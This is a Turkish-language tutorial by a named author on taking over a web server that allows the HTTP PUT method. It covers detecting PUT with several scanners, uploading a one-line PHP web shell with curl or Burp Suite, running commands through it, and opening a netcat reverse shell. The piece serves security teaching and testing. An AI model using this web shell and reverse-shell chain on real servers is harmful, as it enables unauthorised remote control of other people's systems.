[TR] PUT Metodu ile Sunucu Kontrolü Ele Geçirme

Bu yazımda sizlere PUT metodu ile nasıl sunucu kontrolü ele geçirilir ondan bahsedeceğim, küçük ama çok tehlikeli bir zafiyettir. Başlamadan önce en sık karşımıza çıkan HTTP metodlarından kısaca bahsedeyim.

1- GET metodu

GET metodunu sunucudaki kaynaklara erişmek için kullanabiliriz. GET metodunda requestteki parametreler URL alanından sunucuya iletildiği için bu kısımlara müdahale edilebilir ve kritik seviyedeki güvenlik zafiyetleri tetiklenebilir.(SQL INJECTION , RCE vs.)

2- POST metodu

POST metodu ile sunucuya veri gönderebiliriz. POST metodunda requestteki parametreler body kısmında sunucuya iletildiği için URL alanında oluşan zafiyetler burada tetiklenemeyebilir, neden tetiklenemeyebilir dedim çünkü Proxy kullanarak body kısmında iletilen parametrelere istek clientten çıkıp sunucuya iletilmeden önce müdahale edilebilir.

3- HEAD metodu

Sadece request header kısmı sunucuya iletilir. Bu metod ile sunucunun varlığını ya da o kaynağın sunucuda olup olmadığı kontrol edilir.

4- TRACE metodu

Bu metod ile requestin değerinin değiştirilip değiştirilmediği kontrol edilir(arada proxy varsa tespit etmek için)

5- OPTIONS metodu

Sunucuda kullanılmasına izin verilen metodları listelemek için kullanılır.

6- PUT metodu

Sunucuya veri eklemek için kullanılır.

7- DELETE metodu

Sunucudan veri silmek için kullanılır.

Şimdi asıl konumuza dönelim PUT metodu ile sunucu kontrolünü ele geçirecektik. Zafiyetli uygulamamıza geçelim.

İlk olarak sunucunun 80 portuna bağlanıyoruz ve hangi metodlara izin verilip verilmediğini kontrol ediyoruz. Bunu size 4 farklı yoldan göstereceğim.

1- Nikto aracı ile tespit

Nikto aracı web sunucusunda gizli dosya ve dizin tespit işlemi ve aynı zamanda zafiyet taraması gerçekleştirir.

Zafiyetin bulunduğunu düşündüğümüz URL adresini nikto aracına veriyoruz

Komut: nikto –h (URL adresi)

Yukarıda görüldüğü gibi Allowed HTTP Methods kısmında izin verilen metodları gösteri fakat put metodunu göremedik, aslında izin veriliyor fakat PUT metodunu üst kısımda bir güvenlik zafiyeti olarak tespit etmiş.

2- Curl ile tespit;

Curl ile komut satırı üzerinden web sunucusuna bağlanmayı ve veri transferi sağlamayı sağlar.

Komutumuz : curl –v –X OPTIONS http://ipadresi/dizin
-v (verbose)
-X : (request method)

Yukarıda hangi metodlara izin verildiğini görebiliyoruz ama curl put metodunu tespit edemedi.

3- Burp Suit ile tespit

Burp Suit proxy hizmeti veren , güvenlik zafiyetleri tarayan bir araçtır. Şimdi kullanıma geçelim web browser üzerinden proxy ayarlarını yaptıktan sonra Burp ile localhostu dinleyip isteği yakalayalım .

Ardından requesti Reperater’a yollayalım çünkü istek üzerinde değişiklik yapacağız.

Yukarıda da görüldüğü gibi istek url üzerinden GET metodu ile göderiliyor şimdi biz GET yerine OPTIONS yazarak hangi metodlara izin verildiğini bize dönen response sayesinde anlayacağız.

Ve şimdi isteği send edip dönen reponsenin sonucuna bakacağım.

Görüldüğü gibi izin verilen metodlar bunlarmış.

4- Zaproxy ile tespit

Zaproxy, Owasp’ın geliştirmiş olduğu proxy destekli bir web uygulama zafiyeti tarama aracıdır. Biz de bu aracın proxy özelliğini kullanarak bu kontrolü gerçekleştireceğiz.

Zaproxy’i açarak localhostu dinlemeye alalım ve bir request oluşturalım.

Yukarıdan methods kısmından OPTIONS metodunu seçip ilerleyelim.

Yukarıda responseda izin verilen metodlar görünüyor.

Şimdi ise suncuyu ele geçirmeye başlayalım. Maalesef nikto hariç diğerleri PUT metodunu tespit edemedi ve bizde nikto aracının sonucuna göre hareket edeceğiz. PUT metodu ile sunucu kontrolünü ele geçirmeyi size 2 farklı yoldan anlatacağım.

1- Curl ile sunucuya zararlı dosya ekleme

Komutumuz : curl –v –X PUT –d ‘dosya içine yazılacak veri’ http://ipadres/dizin/zararlı.php

Dosya içine yazacağımız veri bir zararlı php kodudur cmd değişkenine komut vererek temelde bir RCE zafiyeti oluştururuz

Önce zaafiyeti test edelim.

Yukarıda görüldüğü gibi response 201 created yani başarıyla oluşturuldu. İsterseniz kontrol edelim.

Ve işlem başarılı. Şimdi ise zaralı dosyayı sistemde oluşturmaya geldi.

Bunun için kullanacağım kod:

<?php system($_GET[‘cmd’]); ?>

Bu kod temelde RCE zafiyeti oluşturacaktır.

Dosyamızı oluşturduk şimdi ise dosyaya gidip cmd parametresi ile sistemde komut çalıştıralım. Hedefimiz bir Linux sunucu olduğu için Linux komutları çalıştırmalıyız.

Ve ilk testimizi gerçekleştirerek sistemde www-data kullanıcısı olduğumuzu öğrendik. Şimdi gelelim reverse Shell almaya;

Netcat ile port dinlemesi yapıp ders bağlantıyı alıyorum.

Komutlarımız :

1- nc -lvp (LPORT)
2- nc (LHOST) (LPORT) -e /bin/bash
-l (listen)
-v (verbose)
-p (port)
-e (execute)

Reverse Shell işlemi başarılı.

Bir sonraki yöntem için zararlı php dosyasını DELETE metodu ile sildim çünkü DELETE izin verilen metodlar arasında

2- Burp Suite ile zararlı dosya yükleme

Şimdi Proxy ayarlarını yapıp Burp Suite’de localhost’u dinlemeye alıyoruz ve ardından request oluşturup isteği Reperater’a yolluyorum ve ardından requestteki GET metodunu PUT ile değiştirip zararlı kodu isteğin body kısmına yazıyorum.

Ve zararlı dosya başarılı bir şekilde oluşturuldu. Şimdi reverse Shell alalım.

İşlem başarılı. Bu arada aynı işlemi OWASP ile de yapabileceğinizi tahmin etmişsinizdir ama yazı çok uzun olmasın diye burada anlatmayacağım.

Umarım sizler için faydalı olmuştur.

https://www.linkedin.com/in/tarık-eren-taşdemir-84855519a/

Tarık Eren Taşdemir